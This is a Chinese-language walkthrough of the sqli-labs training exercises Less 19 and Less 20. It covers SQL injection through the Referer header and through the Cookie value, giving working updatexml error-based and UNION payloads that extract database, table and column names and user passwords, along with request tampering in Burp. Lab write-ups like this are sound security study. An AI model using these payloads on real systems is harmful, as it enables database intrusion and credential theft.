2019-10-24：渗透测试，sqli-labe,less18,19关

less19基于错误_POST_Referer_请求头注入

查看关键源码，跟18关不一样的只是，回显的是Referer不是User-Agent，判断INSERT语句结构：INSERT INTO table_name ('referer','ip_address') VALUES ('$referer','$IP')

 

 

 

 

 

 

注入过程

1，使用BP，拦截数据包，修改Referer提交的数据 ’or updatexml(1,concat('#',(database())),0),'')# 获取库名

2，获取表名，' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'')#

 

3，获取列名，' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0),'')#

 

4，获取数据，' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0),'')#

 

需要获取所有的数据，修改limit的值就行

 

 

 

 

less20：基于错误_POST_Cookie注入

1，判断注入点，登录之后界面为

 

回显有User-Agent、IP这样从当次Request直接获取的，

也有Cookie这样刷新页面后仍存在的，

还有登录用户的id、username、password。

最下方是删除Cookie的按钮，点击后刷新到初始界面。

使用插件Edit This Cookie查看存储的Cookie信息：

 

可以看到只存储了uname这一个字段的信息，且是明文存储。修改Cookie后刷新界面：

便可以得知整个后台流程：

登陆后将uname写入Cookie。

在每次Request (GET / POST)页面时后台判断Cookie是否存在，若不存在则为登录界面；若存在则读取Cookie中字段uname。

在数据库中按username查询，若用户存在则将查询到用户id、username、password回显；若不存在…

可以判断出注入点就在Cookie处，但是这里注入有两种途径：

用Chrome插件EditThisCookie修改本地Cookie文件注入。

用Burp修改登陆(POST)成功后刷新时GET请求头中的Cookie值注入，这种方式不会修改本地的Cookie文件。

 

注入过程

我们得出后台根据Cookie中的uname查询用户的所有信息，即这是个SELECT语句，我们可以使用最简单的UNION注入。

1，判断字符型 /数字型注入

2，判断字段数与回显字段，' order by 4#

 

 

 

实际上这个页面太清晰了，不用判断字段都能猜出来。

得出SQL语句：

SELECT * FROM table_name WHERE username='$cookie_uname' LIMIT 0,1

 

3，获取数据库1' union select 1,2,database()#

 

4，获取表，1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

 

5,获取列名  1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

 

6，获取内容，1' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users#